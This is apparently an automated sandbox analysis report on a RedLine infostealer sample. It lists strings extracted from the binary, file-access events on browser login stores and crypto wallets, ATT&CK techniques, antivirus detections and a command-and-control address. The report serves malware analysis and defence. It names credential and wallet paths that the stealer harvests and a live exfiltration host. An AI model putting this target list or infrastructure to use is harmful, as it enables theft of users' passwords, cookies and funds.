Source: SW3uxM7BXI.exe, 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: SW3uxM7BXI.exe, 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\wallets
Source: SW3uxM7BXI.exe, 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum4
Source: SW3uxM7BXI.exe, 00000000.00000002.1774480173.0000000006774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*_z

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: SW3uxM7BXI.exe, type: SAMPLE
Source: Yara match	File source: 0.0.SW3uxM7BXI.exe.3a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SW3uxM7BXI.exe PID: 6840, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: SW3uxM7BXI.exe, type: SAMPLE
Source: Yara match	File source: 0.0.SW3uxM7BXI.exe.3a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SW3uxM7BXI.exe PID: 6840, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	231 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	3 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	113 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SW3uxM7BXI.exe	87%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
SW3uxM7BXI.exe	88%	Virustotal		Browse
SW3uxM7BXI.exe	100%	Avira	HEUR/AGEN.1305500
SW3uxM7BXI.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
api.ip.sb	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.broofa.com	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
https://api.ip.sb/geoip	0%	URL Reputation	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
https://csp.withgoogle.com/csp/lcreport/	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
https://api.ip.sb	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://tempuri.org/	2%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	1%	Virustotal		Browse
http://185.223.28.15	0%	Avira URL Cloud	safe
http://tempuri.org/0	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettings	2%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdateResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	1%	Virustotal		Browse
http://tempuri.org/Endpoint/SetEnviron	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdates	1%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdate	1%	Virustotal		Browse
http://185.223.28.15:4483/	0%	Avira URL Cloud	safe
http://185.223.28.15:4483t-	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe
185.223.28.15:4483	0%	Avira URL Cloud	safe
http://185.223.28.15:4483/	0%	Virustotal		Browse
http://tempuri.org/Endpoint/SetEnviron	1%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://185.223.28.15:4483	0%	Avira URL Cloud	safe
http://185.223.28.15:4483	0%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnect	2%	Virustotal		Browse
http://185.223.28.15	0%	Virustotal		Browse
http://tempuri.org/0	0%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdatesResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	1%	Virustotal		Browse
185.223.28.15:4483	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plus.l.google.com	142.250.72.238	true	false		high
www.google.com	142.250.68.4	true	false		high
api.ip.sb	unknown	unknown	true	0%, Virustotal, Browse	unknown
apis.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
https://www.google.com/async/newtab_promos	false		high
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
http://185.223.28.15:4483/	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
185.223.28.15:4483	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SCWmpDDGjPk.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo_Pl64J0IIHlj2zBtEJ3ZwdaJC3HA/cb=gapi.loaded_0	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	false		high
https://duckduckgo.com/ac/?q=	SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	false		high
http://www.broofa.com	chromecache_93.4.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip	SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026A5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/	SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026A5000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_99.4.dr	false		high
http://tempuri.org/Endpoint/SetEnvironment	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000027F9000.00000004.00000800.00020000.00000000.sdmp, SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002691000.00000004.00000800.00020000.00000000.sdmp, SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026A5000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	SW3uxM7BXI.exe	true	URL Reputation: safe	unknown
https://csp.withgoogle.com/csp/lcreport/	chromecache_99.4.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	false		high
http://tempuri.org/Endpoint/VerifyUpdate	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/0	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://apis.google.com	chromecache_99.4.dr, chromecache_93.4.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
https://domains.google.com/suggest/flow	chromecache_99.4.dr	false		high
https://ipinfo.io/ip%appdata%	SW3uxM7BXI.exe	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	false		high
http://185.223.28.15	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026D7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	SW3uxM7BXI.exe	false	URL Reputation: safe	unknown
https://api.ip.sb	SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026A5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	false		high
http://tempuri.org/Endpoint/CheckConnect	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	false		high
http://tempuri.org/Endpoint/SetEnviron	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://plus.google.com	chromecache_99.4.dr	false		high
https://ac.ecosia.org/autocomplete?q=	SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_93.4.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.223.28.15:4483t-	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://tempuri.org/Endpoint/GetUpdatesResponse	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.223.28.15:4483	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp, SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000027F9000.00000004.00000800.00020000.00000000.sdmp, SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026D7000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	false		high
http://schemas.xmlsoap.org/soap/actor/next	SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients6.google.com	chromecache_99.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.68.4	www.google.com	United States	15169	GOOGLEUS	false
142.250.72.238	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.223.28.15	unknown	Germany	30823	COMBAHTONcombahtonGmbHDE	true

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1436259
Start date and time:	2024-05-04 07:21:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SW3uxM7BXI.exe renamed because original name is a hash value
Original Sample Name:	BC62AF43BEFE5B458C1E7B9E729D71AC.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/59@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 28 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.72.163, 142.250.72.174, 142.251.2.84, 34.104.35.123, 142.250.189.3, 104.26.13.31, 104.26.12.31, 172.67.75.172, 217.20.49.101, 192.229.211.108, 172.217.14.99, 142.250.176.14
Excluded domains from analysis (whitelisted): clients1.google.com, api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:21:57	API Interceptor	26x Sleep call for process: SW3uxM7BXI.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	1CMweaqlKp.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	https://securepdffilesaccess%E3%80%82com/docx/#9403ZGF2ZW1AY3BlcXVpdHkuY29t??nEJx==78463=/..=L5QpUY&u=276b8dda4ef94158348d5b6b8&id=6b7205781d#&vg=008d8185-7421-4d39-a8ea-d6571496b99e&stid=14&pti=1&pa=20041&pos=0&p=525094&channelId=21280b5d95ea9121&s=lsfbx0rnvkkgxzgo1sbi4b3z&sgs=2004:15-17+F-150	Get hash	malicious	HTMLPhisher	Browse
	https://lestore.lenovo.com/detail/L109130	Get hash	malicious	Unknown	Browse
	https://baoku.360.cn/d/2000006826_9510044	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen28.41706.73.21156.exe	Get hash	malicious	Unknown	Browse
	https://www.67rwzb.cn/	Get hash	malicious	Unknown	Browse
